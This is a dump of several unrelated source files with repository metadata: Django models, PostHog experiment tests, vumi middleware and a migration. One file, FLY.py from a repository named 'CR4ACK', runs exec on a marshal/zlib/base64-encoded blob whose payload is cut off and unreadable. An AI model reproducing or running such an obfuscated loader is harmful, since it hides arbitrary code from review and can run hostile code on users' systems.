Bakhtiyar-Habib/CSE327-Project
4126b40eb398e4cf13b49136e552775c5f3b0635
[ "bzip2-1.0.6" ]
null
null
null
from django.db import models # Create your models here. class TraditionalMen(models.Model): title = models.CharField(max_length=120) description = models.TextField(blank=True, null=True) photo = models.ImageField(default = "default.jpg", blank=True) brand = models.CharField(max_length=120, blank = True) shop = models.CharField(max_length=120, blank = True) price = models.IntegerField(blank=True, default=0) url = models.CharField(max_length=120, blank = True) class TraditionalWomen(models.Model): title = models.CharField(max_length=120) description = models.TextField(blank=True, null=True) photo = models.ImageField(default = "default.jpg", blank=True) brand = models.CharField(max_length=120, blank = True) shop = models.CharField(max_length=120, blank = True) price = models.IntegerField(blank=True, default=0) url = models.CharField(max_length=120, blank = True)
44.35
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0.286567
0.874627
0.874627
0.874627
0.874627
0.874627
0.874627
0
0.032953
0.110485
887
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0.816223
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0
0
10
fbbd2170bf583fe09f4c11a273557b8e0655aa6e
158
py
Python
wiki/converters.py
PudgyPoppins/AP-Crowd-2020
14f4239a12b0b1101052d93d54286440cceb6e8f
[ "MIT" ]
null
null
null
wiki/converters.py
PudgyPoppins/AP-Crowd-2020
14f4239a12b0b1101052d93d54286440cceb6e8f
[ "MIT" ]
12
2020-04-30T16:31:50.000Z
2021-09-22T18:57:11.000Z
wiki/converters.py
PudgyPoppins/AP-Crowd-2020
14f4239a12b0b1101052d93d54286440cceb6e8f
[ "MIT" ]
null
null
null
class PathConverter: regex = '[-/\w]+/' def to_python(self, value): return str(value) def to_url(self, value): return str(value)
19.75
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20
158
4.45
0.6
0.11236
0.337079
0.404494
0.516854
0
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0.278481
158
8
32
19.75
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0
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0
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0
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1
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1
0
0
0
1
1
0
0
7
fbc56a1a876189e820ff224f2f8da6f48f33f781
33,007
py
Python
ee/clickhouse/views/test/test_clickhouse_experiments.py
boost-entropy-python/posthog
a1de35397ffa4ebd9306f34ebd9dbb7dbff5b356
[ "MIT" ]
null
null
null
ee/clickhouse/views/test/test_clickhouse_experiments.py
boost-entropy-python/posthog
a1de35397ffa4ebd9306f34ebd9dbb7dbff5b356
[ "MIT" ]
null
null
null
ee/clickhouse/views/test/test_clickhouse_experiments.py
boost-entropy-python/posthog
a1de35397ffa4ebd9306f34ebd9dbb7dbff5b356
[ "MIT" ]
2
2021-06-22T19:02:52.000Z
2021-08-16T12:31:45.000Z
from datetime import datetime from rest_framework import status from ee.api.test.base import LicensedTestMixin from ee.clickhouse.test.test_journeys import journeys_for from ee.clickhouse.util import ClickhouseTestMixin, snapshot_clickhouse_queries from posthog.models.experiment import Experiment from posthog.models.feature_flag import FeatureFlag from posthog.test.base import APIBaseTest class TestExperimentCRUD(APIBaseTest): def test_creating_updating_basic_experiment(self): ff_key = "a-b-tests" response = self.client.post( f"/api/projects/{self.team.id}/experiments/", { "name": "Test Experiment", "description": "", "start_date": "2021-12-01T10:23", "end_date": None, "feature_flag_key": ff_key, "parameters": None, "filters": { "events": [{"order": 0, "id": "$pageview"}, {"order": 1, "id": "$pageleave"}], "properties": [ {"key": "$geoip_country_name", "type": "person", "value": ["france"], "operator": "exact"} ], }, }, ) self.assertEqual(response.status_code, status.HTTP_201_CREATED) self.assertEqual(response.json()["name"], "Test Experiment") self.assertEqual(response.json()["feature_flag_key"], ff_key) created_ff = FeatureFlag.objects.get(key=ff_key) self.assertEqual(created_ff.key, ff_key) self.assertEqual(created_ff.filters["multivariate"]["variants"][0]["key"], "control") self.assertEqual(created_ff.filters["multivariate"]["variants"][1]["key"], "test") self.assertEqual(created_ff.filters["groups"][0]["properties"][0]["key"], "$geoip_country_name") id = response.json()["id"] end_date = "2021-12-10T00:00" # Now update response = self.client.patch( f"/api/projects/{self.team.id}/experiments/{id}", {"description": "Bazinga", "end_date": end_date,}, ) self.assertEqual(response.status_code, status.HTTP_200_OK) experiment = Experiment.objects.get(pk=id) self.assertEqual(experiment.description, "Bazinga") self.assertEqual(experiment.end_date.strftime("%Y-%m-%dT%H:%M"), end_date) def test_invalid_create(self): # Draft experiment ff_key = "a-b-tests" response = self.client.post( f"/api/projects/{self.team.id}/experiments/", { "name": None, # invalid "description": "", "start_date": None, "end_date": None, "feature_flag_key": ff_key, "parameters": {}, "filters": {}, # also invalid }, ) self.assertEqual(response.status_code, status.HTTP_400_BAD_REQUEST) self.assertEqual(response.json()["detail"], "This field may not be null.") ff_key = "a-b-tests" response = self.client.post( f"/api/projects/{self.team.id}/experiments/", { "name": "None", "description": "", "start_date": None, "end_date": None, "feature_flag_key": ff_key, "parameters": {}, "filters": {}, # still invalid }, ) self.assertEqual(response.status_code, status.HTTP_400_BAD_REQUEST) self.assertEqual(response.json()["detail"], "Filters are required to create an Experiment") def test_invalid_update(self): # Draft experiment ff_key = "a-b-tests" response = self.client.post( f"/api/projects/{self.team.id}/experiments/", { "name": "Test Experiment", "description": "", "start_date": None, "end_date": None, "feature_flag_key": ff_key, "parameters": {}, "filters": {"events": []}, }, ) id = response.json()["id"] # Now update response = self.client.patch( f"/api/projects/{self.team.id}/experiments/{id}", {"description": "Bazinga", "filters": {}, "feature_flag_key": "new_key",}, # invalid ) self.assertEqual(response.status_code, status.HTTP_400_BAD_REQUEST) self.assertEqual(response.json()["detail"], "Can't update keys: get_feature_flag_key on Experiment") def test_cant_reuse_existing_feature_flag(self): ff_key = "a-b-test" FeatureFlag.objects.create( team=self.team, rollout_percentage=50, name="Beta feature", key=ff_key, created_by=self.user, ) response = self.client.post( f"/api/projects/{self.team.id}/experiments/", { "name": "Test Experiment", "description": "", "start_date": "2021-12-01T10:23", "end_date": None, "feature_flag_key": ff_key, "parameters": None, "filters": {"events": []}, }, ) self.assertEqual(response.status_code, status.HTTP_400_BAD_REQUEST) self.assertEqual(response.json()["detail"], "There is already a feature flag with this key.") def test_draft_experiment_doesnt_have_FF_active(self): # Draft experiment ff_key = "a-b-tests" response = self.client.post( f"/api/projects/{self.team.id}/experiments/", { "name": "Test Experiment", "description": "", "start_date": None, "end_date": None, "feature_flag_key": ff_key, "parameters": {}, "filters": {"events": []}, }, ) id = response.json()["id"] created_ff = FeatureFlag.objects.get(key=ff_key) self.assertEqual(created_ff.key, ff_key) self.assertFalse(created_ff.active) def test_launching_draft_experiment_activates_FF(self): # Draft experiment ff_key = "a-b-tests" response = self.client.post( f"/api/projects/{self.team.id}/experiments/", { "name": "Test Experiment", "description": "", "start_date": None, "end_date": None, "feature_flag_key": ff_key, "parameters": {}, "filters": {"events": []}, }, ) id = response.json()["id"] created_ff = FeatureFlag.objects.get(key=ff_key) self.assertEqual(created_ff.key, ff_key) self.assertFalse(created_ff.active) response = self.client.patch( f"/api/projects/{self.team.id}/experiments/{id}", {"description": "Bazinga", "start_date": "2021-12-01T10:23"}, ) self.assertEqual(response.status_code, status.HTTP_200_OK) updated_ff = FeatureFlag.objects.get(key=ff_key) self.assertTrue(updated_ff.active) def test_create_multivariate_experiment(self): ff_key = "a-b-test" response = self.client.post( f"/api/projects/{self.team.id}/experiments/", { "name": "Test Experiment", "description": "", "start_date": "2021-12-01T10:23", "end_date": None, "feature_flag_key": ff_key, "parameters": { "feature_flag_variants": [ {"key": "control", "name": "Control Group", "rollout_percentage": 33}, {"key": "test_1", "name": "Test Variant", "rollout_percentage": 33}, {"key": "test_2", "name": "Test Variant", "rollout_percentage": 34}, ] }, "filters": { "events": [{"order": 0, "id": "$pageview"}, {"order": 1, "id": "$pageleave"}], "properties": [ {"key": "$geoip_country_name", "type": "person", "value": ["france"], "operator": "exact"} ], }, }, ) self.assertEqual(response.status_code, status.HTTP_201_CREATED) self.assertEqual(response.json()["name"], "Test Experiment") self.assertEqual(response.json()["feature_flag_key"], ff_key) created_ff = FeatureFlag.objects.get(key=ff_key) self.assertEqual(created_ff.key, ff_key) self.assertEqual(created_ff.active, True) self.assertEqual(created_ff.filters["multivariate"]["variants"][0]["key"], "control") self.assertEqual(created_ff.filters["multivariate"]["variants"][1]["key"], "test_1") self.assertEqual(created_ff.filters["multivariate"]["variants"][2]["key"], "test_2") self.assertEqual(created_ff.filters["groups"][0]["properties"][0]["key"], "$geoip_country_name") id = response.json()["id"] # Now try updating FF response = self.client.patch( f"/api/projects/{self.team.id}/experiments/{id}", { "description": "Bazinga", "parameters": {"feature_flag_variants": [{"key": "control", "name": "X", "rollout_percentage": 33}]}, }, ) self.assertEqual(response.status_code, status.HTTP_400_BAD_REQUEST) self.assertEqual(response.json()["detail"], "Can't update feature_flag_variants on Experiment") # Now try changing FF rollout %s response = self.client.patch( f"/api/projects/{self.team.id}/experiments/{id}", { "description": "Bazinga", "parameters": { "feature_flag_variants": [ {"key": "control", "name": "Control Group", "rollout_percentage": 34}, {"key": "test_1", "name": "Test Variant", "rollout_percentage": 33}, {"key": "test_2", "name": "Test Variant", "rollout_percentage": 32}, ] }, }, ) self.assertEqual(response.status_code, status.HTTP_400_BAD_REQUEST) self.assertEqual(response.json()["detail"], "Can't update feature_flag_variants on Experiment") # Now try changing FF keys response = self.client.patch( f"/api/projects/{self.team.id}/experiments/{id}", { "description": "Bazinga", "parameters": { "feature_flag_variants": [ {"key": "control", "name": "Control Group", "rollout_percentage": 33}, {"key": "test", "name": "Test Variant", "rollout_percentage": 33}, {"key": "test2", "name": "Test Variant", "rollout_percentage": 34}, ] }, }, ) self.assertEqual(response.status_code, status.HTTP_400_BAD_REQUEST) self.assertEqual(response.json()["detail"], "Can't update feature_flag_variants on Experiment") # Now try updating other parameter keys response = self.client.patch( f"/api/projects/{self.team.id}/experiments/{id}", {"description": "Bazinga", "parameters": {"recommended_sample_size": 1500},}, ) self.assertEqual(response.status_code, status.HTTP_200_OK) self.assertEqual(response.json()["parameters"]["recommended_sample_size"], 1500) def test_creating_invalid_multivariate_experiment_no_control(self): ff_key = "a-b-test" response = self.client.post( f"/api/projects/{self.team.id}/experiments/", { "name": "Test Experiment", "description": "", "start_date": "2021-12-01T10:23", "end_date": None, "feature_flag_key": ff_key, "parameters": { "feature_flag_variants": [ # no control {"key": "test_0", "name": "Control Group", "rollout_percentage": 33}, {"key": "test_1", "name": "Test Variant", "rollout_percentage": 33}, {"key": "test_2", "name": "Test Variant", "rollout_percentage": 33}, ] }, "filters": { "events": [{"order": 0, "id": "$pageview"}, {"order": 1, "id": "$pageleave"}], "properties": [ {"key": "$geoip_country_name", "type": "person", "value": ["france"], "operator": "exact"} ], }, }, ) self.assertEqual(response.status_code, status.HTTP_400_BAD_REQUEST) self.assertEqual(response.json()["detail"], "Feature flag variants must contain a control variant") def test_deleting_experiment_soft_deletes_feature_flag(self): ff_key = "a-b-tests" data = { "name": "Test Experiment", "description": "", "start_date": "2021-12-01T10:23", "end_date": None, "feature_flag_key": ff_key, "parameters": None, "filters": { "events": [{"order": 0, "id": "$pageview"}, {"order": 1, "id": "$pageleave"}], "properties": [ {"key": "$geoip_country_name", "type": "person", "value": ["france"], "operator": "exact"} ], }, } response = self.client.post(f"/api/projects/{self.team.id}/experiments/", data) self.assertEqual(response.status_code, status.HTTP_201_CREATED) self.assertEqual(response.json()["name"], "Test Experiment") self.assertEqual(response.json()["feature_flag_key"], ff_key) created_ff = FeatureFlag.objects.get(key=ff_key) id = response.json()["id"] # Now delete the experiment response = self.client.delete(f"/api/projects/{self.team.id}/experiments/{id}") self.assertEqual(response.status_code, status.HTTP_204_NO_CONTENT) with self.assertRaises(Experiment.DoesNotExist): Experiment.objects.get(pk=id) # soft deleted self.assertEqual(FeatureFlag.objects.get(pk=created_ff.id).deleted, True) # can recreate new experiment with same FF key response = self.client.post(f"/api/projects/{self.team.id}/experiments/", data) self.assertEqual(response.status_code, status.HTTP_201_CREATED) def test_deleting_feature_flag_deletes_experiment(self): ff_key = "a-b-tests" response = self.client.post( f"/api/projects/{self.team.id}/experiments/", { "name": "Test Experiment", "description": "", "start_date": "2021-12-01T10:23", "end_date": None, "feature_flag_key": ff_key, "parameters": None, "filters": { "events": [{"order": 0, "id": "$pageview"}, {"order": 1, "id": "$pageleave"}], "properties": [ {"key": "$geoip_country_name", "type": "person", "value": ["france"], "operator": "exact"} ], }, }, ) self.assertEqual(response.status_code, status.HTTP_201_CREATED) self.assertEqual(response.json()["name"], "Test Experiment") self.assertEqual(response.json()["feature_flag_key"], ff_key) created_ff = FeatureFlag.objects.get(key=ff_key) id = response.json()["id"] # Now delete the feature flag response = self.client.delete(f"/api/projects/{self.team.id}/feature_flags/{created_ff.pk}/") self.assertEqual(response.status_code, status.HTTP_204_NO_CONTENT) self.assertFalse(FeatureFlag.objects.filter(pk=created_ff.pk).exists()) with self.assertRaises(Experiment.DoesNotExist): Experiment.objects.get(pk=id) class ClickhouseTestFunnelExperimentResults(ClickhouseTestMixin, LicensedTestMixin, APIBaseTest): @snapshot_clickhouse_queries def test_experiment_flow_with_event_results(self): journeys_for( { "person1": [ {"event": "$pageview", "timestamp": "2020-01-02", "properties": {"$feature/a-b-test": "test"},}, {"event": "$pageleave", "timestamp": "2020-01-04", "properties": {"$feature/a-b-test": "test"},}, ], "person2": [ {"event": "$pageview", "timestamp": "2020-01-03", "properties": {"$feature/a-b-test": "control"}}, {"event": "$pageleave", "timestamp": "2020-01-05", "properties": {"$feature/a-b-test": "control"}}, ], "person3": [ {"event": "$pageview", "timestamp": "2020-01-04", "properties": {"$feature/a-b-test": "control"}}, {"event": "$pageleave", "timestamp": "2020-01-05", "properties": {"$feature/a-b-test": "control"}}, ], # doesn't have feature set "person_out_of_control": [ {"event": "$pageview", "timestamp": "2020-01-03",}, {"event": "$pageleave", "timestamp": "2020-01-05",}, ], "person_out_of_end_date": [ {"event": "$pageview", "timestamp": "2020-08-03", "properties": {"$feature/a-b-test": "control"}}, {"event": "$pageleave", "timestamp": "2020-08-05", "properties": {"$feature/a-b-test": "control"}}, ], # non-converters with FF "person4": [ {"event": "$pageview", "timestamp": "2020-01-03", "properties": {"$feature/a-b-test": "test"},}, ], "person5": [ {"event": "$pageview", "timestamp": "2020-01-04", "properties": {"$feature/a-b-test": "test"},}, ], }, self.team, ) ff_key = "a-b-test" # generates the FF which should result in the above events^ response = self.client.post( f"/api/projects/{self.team.id}/experiments/", { "name": "Test Experiment", "description": "", "start_date": "2020-01-01T00:00", "end_date": "2020-01-06T00:00", "feature_flag_key": ff_key, "parameters": None, "filters": { "insight": "funnels", "events": [{"order": 0, "id": "$pageview"}, {"order": 1, "id": "$pageleave"}], "properties": [ {"key": "$geoip_country_name", "type": "person", "value": ["france"], "operator": "exact"} # properties superceded by FF breakdown ], }, }, ) id = response.json()["id"] response = self.client.get(f"/api/projects/{self.team.id}/experiments/{id}/results") self.assertEqual(200, response.status_code) response_data = response.json() result = sorted(response_data["insight"], key=lambda x: x[0]["breakdown_value"][0]) self.assertEqual(result[0][0]["name"], "$pageview") self.assertEqual(result[0][0]["count"], 2) self.assertEqual("control", result[0][0]["breakdown_value"][0]) self.assertEqual(result[0][1]["name"], "$pageleave") self.assertEqual(result[0][1]["count"], 2) self.assertEqual("control", result[0][1]["breakdown_value"][0]) self.assertEqual(result[1][0]["name"], "$pageview") self.assertEqual(result[1][0]["count"], 3) self.assertEqual("test", result[1][0]["breakdown_value"][0]) self.assertEqual(result[1][1]["name"], "$pageleave") self.assertEqual(result[1][1]["count"], 1) self.assertEqual("test", result[1][1]["breakdown_value"][0]) # Variant with test: Beta(2, 3) and control: Beta(3, 1) distribution # The variant has very low probability of being better. self.assertAlmostEqual(response_data["probability"]["test"], 0.2619, places=2) @snapshot_clickhouse_queries def test_experiment_flow_with_event_results_for_three_test_variants(self): journeys_for( { "person1_2": [ {"event": "$pageview", "timestamp": "2020-01-02", "properties": {"$feature/a-b-test": "test_2"},}, {"event": "$pageleave", "timestamp": "2020-01-04", "properties": {"$feature/a-b-test": "test_2"},}, ], "person1_1": [ {"event": "$pageview", "timestamp": "2020-01-02", "properties": {"$feature/a-b-test": "test_1"},}, {"event": "$pageleave", "timestamp": "2020-01-04", "properties": {"$feature/a-b-test": "test_1"},}, ], "person2_1": [ {"event": "$pageview", "timestamp": "2020-01-02", "properties": {"$feature/a-b-test": "test_1"},}, {"event": "$pageleave", "timestamp": "2020-01-04", "properties": {"$feature/a-b-test": "test_1"},}, ], "person1": [ {"event": "$pageview", "timestamp": "2020-01-02", "properties": {"$feature/a-b-test": "test"},}, {"event": "$pageleave", "timestamp": "2020-01-04", "properties": {"$feature/a-b-test": "test"},}, ], "person2": [ {"event": "$pageview", "timestamp": "2020-01-03", "properties": {"$feature/a-b-test": "control"}}, {"event": "$pageleave", "timestamp": "2020-01-05", "properties": {"$feature/a-b-test": "control"}}, ], "person3": [ {"event": "$pageview", "timestamp": "2020-01-04", "properties": {"$feature/a-b-test": "control"}}, {"event": "$pageleave", "timestamp": "2020-01-05", "properties": {"$feature/a-b-test": "control"}}, ], # doesn't have feature set "person_out_of_control": [ {"event": "$pageview", "timestamp": "2020-01-03",}, {"event": "$pageleave", "timestamp": "2020-01-05",}, ], "person_out_of_end_date": [ {"event": "$pageview", "timestamp": "2020-08-03", "properties": {"$feature/a-b-test": "control"}}, {"event": "$pageleave", "timestamp": "2020-08-05", "properties": {"$feature/a-b-test": "control"}}, ], # non-converters with FF "person4": [ {"event": "$pageview", "timestamp": "2020-01-03", "properties": {"$feature/a-b-test": "test"},}, ], "person5": [ {"event": "$pageview", "timestamp": "2020-01-04", "properties": {"$feature/a-b-test": "test"},}, ], "person6_1": [ {"event": "$pageview", "timestamp": "2020-01-02", "properties": {"$feature/a-b-test": "test_1"},}, ], }, self.team, ) ff_key = "a-b-test" # generates the FF which should result in the above events^ response = self.client.post( f"/api/projects/{self.team.id}/experiments/", { "name": "Test Experiment", "description": "", "start_date": "2020-01-01T00:00", "end_date": "2020-01-06T00:00", "feature_flag_key": ff_key, "parameters": { "feature_flag_variants": [ {"key": "control", "name": "Control Group", "rollout_percentage": 25}, {"key": "test_1", "name": "Test Variant 1", "rollout_percentage": 25}, {"key": "test_2", "name": "Test Variant 2", "rollout_percentage": 25}, {"key": "test", "name": "Test Variant 3", "rollout_percentage": 25}, ] }, "filters": { "insight": "funnels", "events": [{"order": 0, "id": "$pageview"}, {"order": 1, "id": "$pageleave"}], "properties": [ {"key": "$geoip_country_name", "type": "person", "value": ["france"], "operator": "exact"} # properties superceded by FF breakdown ], }, }, ) id = response.json()["id"] response = self.client.get(f"/api/projects/{self.team.id}/experiments/{id}/results") self.assertEqual(200, response.status_code) response_data = response.json() result = sorted(response_data["insight"], key=lambda x: x[0]["breakdown_value"][0]) self.assertEqual(result[0][0]["name"], "$pageview") self.assertEqual(result[0][0]["count"], 2) self.assertEqual("control", result[0][0]["breakdown_value"][0]) self.assertEqual(result[0][1]["name"], "$pageleave") self.assertEqual(result[0][1]["count"], 2) self.assertEqual("control", result[0][1]["breakdown_value"][0]) self.assertEqual(result[1][0]["name"], "$pageview") self.assertEqual(result[1][0]["count"], 3) self.assertEqual("test", result[1][0]["breakdown_value"][0]) self.assertEqual(result[1][1]["name"], "$pageleave") self.assertEqual(result[1][1]["count"], 1) self.assertEqual("test", result[1][1]["breakdown_value"][0]) self.assertAlmostEqual(response_data["probability"]["test"], 0.095, places=2) self.assertAlmostEqual(response_data["probability"]["test_1"], 0.193, places=2) self.assertAlmostEqual(response_data["probability"]["test_2"], 0.372, places=2) self.assertAlmostEqual(response_data["probability"]["control"], 0.340, places=2) class ClickhouseTestTrendExperimentResults(ClickhouseTestMixin, LicensedTestMixin, APIBaseTest): @snapshot_clickhouse_queries def test_experiment_flow_with_event_results(self): journeys_for( { "person1": [ {"event": "$pageview", "timestamp": "2020-01-02", "properties": {"$feature/a-b-test": "test"},}, ], "person2": [ {"event": "$pageview", "timestamp": "2020-01-03", "properties": {"$feature/a-b-test": "control"}}, ], "person3": [ {"event": "$pageview", "timestamp": "2020-01-04", "properties": {"$feature/a-b-test": "control"}}, ], # doesn't have feature set "person_out_of_control": [{"event": "$pageview", "timestamp": "2020-01-03",},], "person_out_of_end_date": [ {"event": "$pageview", "timestamp": "2020-08-03", "properties": {"$feature/a-b-test": "control"}}, ], }, self.team, ) ff_key = "a-b-test" # generates the FF which should result in the above events^ creation_response = self.client.post( f"/api/projects/{self.team.id}/experiments/", { "name": "Test Experiment", "description": "", "start_date": "2020-01-01T00:00", "end_date": "2020-01-06T00:00", "feature_flag_key": ff_key, "parameters": None, "filters": { "insight": "trends", "events": [{"order": 0, "id": "$pageview"}], "display": "ActionsLineGraphCumulative", "properties": [ {"key": "$geoip_country_name", "type": "person", "value": ["france"], "operator": "exact"} # properties superceded by FF breakdown ], }, }, ) id = creation_response.json()["id"] response = self.client.get(f"/api/projects/{self.team.id}/experiments/{id}/results") self.assertEqual(200, response.status_code) response_data = response.json() result = sorted(response_data["insight"], key=lambda x: x["breakdown_value"]) self.assertEqual(result[0]["count"], 2) self.assertEqual("control", result[0]["breakdown_value"]) self.assertEqual(result[1]["count"], 1) self.assertEqual("test", result[1]["breakdown_value"]) # Variant with test: Beta(2, 1) and control: Beta(3, 1) distribution # The variant has low probability of being better. self.assertAlmostEqual(response_data["probability"]["test"], 0.313, places=2) @snapshot_clickhouse_queries def test_experiment_flow_with_event_results_for_three_test_variants(self): journeys_for( { "person1_2": [ {"event": "$pageview", "timestamp": "2020-01-02", "properties": {"$feature/a-b-test": "test_2"},}, ], "person1_1": [ {"event": "$pageview", "timestamp": "2020-01-02", "properties": {"$feature/a-b-test": "test_1"},}, ], "person2_1": [ {"event": "$pageview", "timestamp": "2020-01-02", "properties": {"$feature/a-b-test": "test_1"},}, ], # "person1": [ # {"event": "$pageview", "timestamp": "2020-01-02", "properties": {"$feature/a-b-test": "test"},}, # ], "person2": [ {"event": "$pageview", "timestamp": "2020-01-03", "properties": {"$feature/a-b-test": "control"}}, ], "person3": [ {"event": "$pageview", "timestamp": "2020-01-04", "properties": {"$feature/a-b-test": "control"}}, ], "person4": [ {"event": "$pageview", "timestamp": "2020-01-04", "properties": {"$feature/a-b-test": "control"}}, ], # doesn't have feature set "person_out_of_control": [{"event": "$pageview", "timestamp": "2020-01-03",},], "person_out_of_end_date": [ {"event": "$pageview", "timestamp": "2020-08-03", "properties": {"$feature/a-b-test": "control"}}, ], }, self.team, ) ff_key = "a-b-test" # generates the FF which should result in the above events^ response = self.client.post( f"/api/projects/{self.team.id}/experiments/", { "name": "Test Experiment", "description": "", "start_date": "2020-01-01T00:00", "end_date": "2020-01-06T00:00", "feature_flag_key": ff_key, "parameters": { "feature_flag_variants": [ {"key": "control", "name": "Control Group", "rollout_percentage": 25}, {"key": "test_1", "name": "Test Variant 1", "rollout_percentage": 25}, {"key": "test_2", "name": "Test Variant 2", "rollout_percentage": 25}, {"key": "test", "name": "Test Variant 3", "rollout_percentage": 25}, ] }, "filters": { "insight": "trends", "events": [{"order": 0, "id": "$pageview"}, {"order": 1, "id": "$pageleave"}], "properties": [ {"key": "$geoip_country_name", "type": "person", "value": ["france"], "operator": "exact"} # properties superceded by FF breakdown ], }, }, ) id = response.json()["id"] response = self.client.get(f"/api/projects/{self.team.id}/experiments/{id}/results") self.assertEqual(200, response.status_code) response_data = response.json() result = sorted(response_data["insight"], key=lambda x: x["breakdown_value"]) self.assertEqual(result[0]["count"], 3) self.assertEqual("control", result[0]["breakdown_value"]) self.assertEqual(result[1]["count"], 2) self.assertEqual("test_1", result[1]["breakdown_value"]) self.assertEqual(result[2]["count"], 1) self.assertEqual("test_2", result[2]["breakdown_value"]) # test missing from results, since no events self.assertAlmostEqual(response_data["probability"]["test_1"], 0.299, places=2) self.assertAlmostEqual(response_data["probability"]["test_2"], 0.119, places=2) self.assertAlmostEqual(response_data["probability"]["control"], 0.583, places=2)
44.54386
119
0.515769
3,237
33,007
5.111214
0.076614
0.079782
0.016682
0.044787
0.891327
0.878997
0.873799
0.862859
0.849743
0.828951
0
0.039849
0.315751
33,007
740
120
44.604054
0.692716
0.039264
0
0.720131
0
0
0.309482
0.054975
0
0
0
0
0.168576
1
0.022913
false
0
0.013093
0
0.040917
0
0
0
0
null
0
0
0
1
1
1
1
1
1
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7
fbcbd9dd3606104af4d34262a419ed455dfed018
124
py
Python
hermes_instrument/tests/test_file_tools.py
ehsteve/hermes_instrument
566fe8d1e5c05ead0ff81d862f223e4c3241c06c
[ "BSD-3-Clause" ]
null
null
null
hermes_instrument/tests/test_file_tools.py
ehsteve/hermes_instrument
566fe8d1e5c05ead0ff81d862f223e4c3241c06c
[ "BSD-3-Clause" ]
5
2022-01-16T21:00:28.000Z
2022-03-31T19:31:29.000Z
hermes_instrument/tests/test_file_tools.py
ehsteve/hermes_instrument
566fe8d1e5c05ead0ff81d862f223e4c3241c06c
[ "BSD-3-Clause" ]
1
2022-01-25T21:43:35.000Z
2022-01-25T21:43:35.000Z
from hermes_instrument.io.file_tools import read_file def test_read_file(): assert read_file("test_file.cdf") is None
20.666667
53
0.790323
21
124
4.333333
0.666667
0.263736
0
0
0
0
0
0
0
0
0
0
0.129032
124
5
54
24.8
0.842593
0
0
0
0
0
0.104839
0
0
0
0
0
0.333333
1
0.333333
true
0
0.333333
0
0.666667
0
1
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null
1
0
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0
0
0
0
0
0
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null
0
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0
0
1
1
0
1
0
1
0
0
7
83962f29bf9382a9922d3f80f7b1b263577bade1
16,976
py
Python
FLY.py
HAMI-CODER/CR4ACK
d4a95a151adc7eda0d8c8db7b27ec0df1761362b
[ "Apache-2.0" ]
1
2021-11-20T08:41:43.000Z
2021-11-20T08:41:43.000Z
FLY.py
HAMI-CODER/CR4ACK
d4a95a151adc7eda0d8c8db7b27ec0df1761362b
[ "Apache-2.0" ]
null
null
null
FLY.py
HAMI-CODER/CR4ACK
d4a95a151adc7eda0d8c8db7b27ec0df1761362b
[ "Apache-2.0" ]
null
null
null
#compile by Aris Setya Channel #Jangan di edit yah..!! import marshal,zlib,base64 exec(marshal.loads(zlib.decompress(base64.b64decode(zlib.decompress('x\x9c\x15\x97\xc5\xb2\xa5@\x10D?\x88\x05v\xb1%\xee\xee\xecpw\xe7\xeb\xe7\xcd\x8e\x08:\xa0\xbb\xab*\xf3d\xa9|\x87%\x1c\xbb\x08\x17H\x01\xb5\x94+\x8cH\xc2\x16.(7\xdfT\xa0q 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83bbfd6196fa400aec1f3e5669b97adeb0bc1655
447
py
Python
vumi/middleware/__init__.py
seidu626/vumi
62eae205a07029bc7ab382086715694548001876
[ "BSD-3-Clause" ]
199
2015-01-05T09:04:24.000Z
2018-08-15T17:02:49.000Z
vumi/middleware/__init__.py
seidu626/vumi
62eae205a07029bc7ab382086715694548001876
[ "BSD-3-Clause" ]
187
2015-01-06T15:22:38.000Z
2018-07-14T13:15:29.000Z
vumi/middleware/__init__.py
seidu626/vumi
62eae205a07029bc7ab382086715694548001876
[ "BSD-3-Clause" ]
86
2015-01-31T02:47:08.000Z
2018-12-01T11:59:47.000Z
"""Middleware classes to process messages on their way in and out of workers. """ from vumi.middleware.base import ( BaseMiddleware, TransportMiddleware, ApplicationMiddleware, MiddlewareStack, create_middlewares_from_config, setup_middlewares_from_config) __all__ = [ 'BaseMiddleware', 'TransportMiddleware', 'ApplicationMiddleware', 'MiddlewareStack', 'create_middlewares_from_config', 'setup_middlewares_from_config']
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8605b11f33709075233d85874fb5f4cb536b44c8
10,369
py
Python
modules/cnmb/migrations/0001_initial.py
smcuenca2/core-medical
76039ca68e158d25b0619c88c97c5d6f7e328a99
[ "Apache-2.0" ]
null
null
null
modules/cnmb/migrations/0001_initial.py
smcuenca2/core-medical
76039ca68e158d25b0619c88c97c5d6f7e328a99
[ "Apache-2.0" ]
null
null
null
modules/cnmb/migrations/0001_initial.py
smcuenca2/core-medical
76039ca68e158d25b0619c88c97c5d6f7e328a99
[ "Apache-2.0" ]
null
null
null
# Generated by Django 2.1.2 on 2018-11-15 03:37 from django.conf import settings from django.db import migrations, models import django.db.models.deletion class Migration(migrations.Migration): initial = True dependencies = [ migrations.swappable_dependency(settings.AUTH_USER_MODEL), ] operations = [ migrations.CreateModel( name='Concentration', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('create_at', models.DateTimeField(auto_now_add=True)), ('update_at', models.DateTimeField()), ('name', models.CharField(max_length=250)), ('description', models.TextField(blank=True, max_length=500, null=True)), ('amount', models.DecimalField(decimal_places=2, max_digits=5)), ('active', models.BooleanField(default=True)), ], options={ 'abstract': False, }, ), migrations.CreateModel( name='Dosification', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('create_at', models.DateTimeField(auto_now_add=True)), ('update_at', models.DateTimeField()), ('name', models.CharField(max_length=250)), ('description', models.TextField(blank=True, max_length=500, null=True)), ('active', models.BooleanField(default=True)), ], options={ 'abstract': False, }, ), migrations.CreateModel( name='GroupATC', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('create_at', models.DateTimeField(auto_now_add=True)), ('update_at', models.DateTimeField()), ('code', models.CharField(max_length=25, unique=True)), ('name', models.CharField(max_length=250)), ('description', models.TextField(blank=True, max_length=500, null=True)), ('level', models.PositiveIntegerField(default=1)), ('active', models.BooleanField(default=True)), ('type', models.CharField(choices=[('ALFA', 'ALFA'), ('NUMERIC', 'NUMERICO')], default='ALFA', max_length=2)), ('parent', models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.CASCADE, to='cnmb.GroupATC')), ('user', models.ForeignKey(null=True, on_delete=django.db.models.deletion.CASCADE, to=settings.AUTH_USER_MODEL)), ], options={ 'abstract': False, }, ), migrations.CreateModel( name='Measure', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('create_at', models.DateTimeField(auto_now_add=True)), ('update_at', models.DateTimeField()), ('code', models.CharField(max_length=25, unique=True)), ('name', models.CharField(max_length=250)), 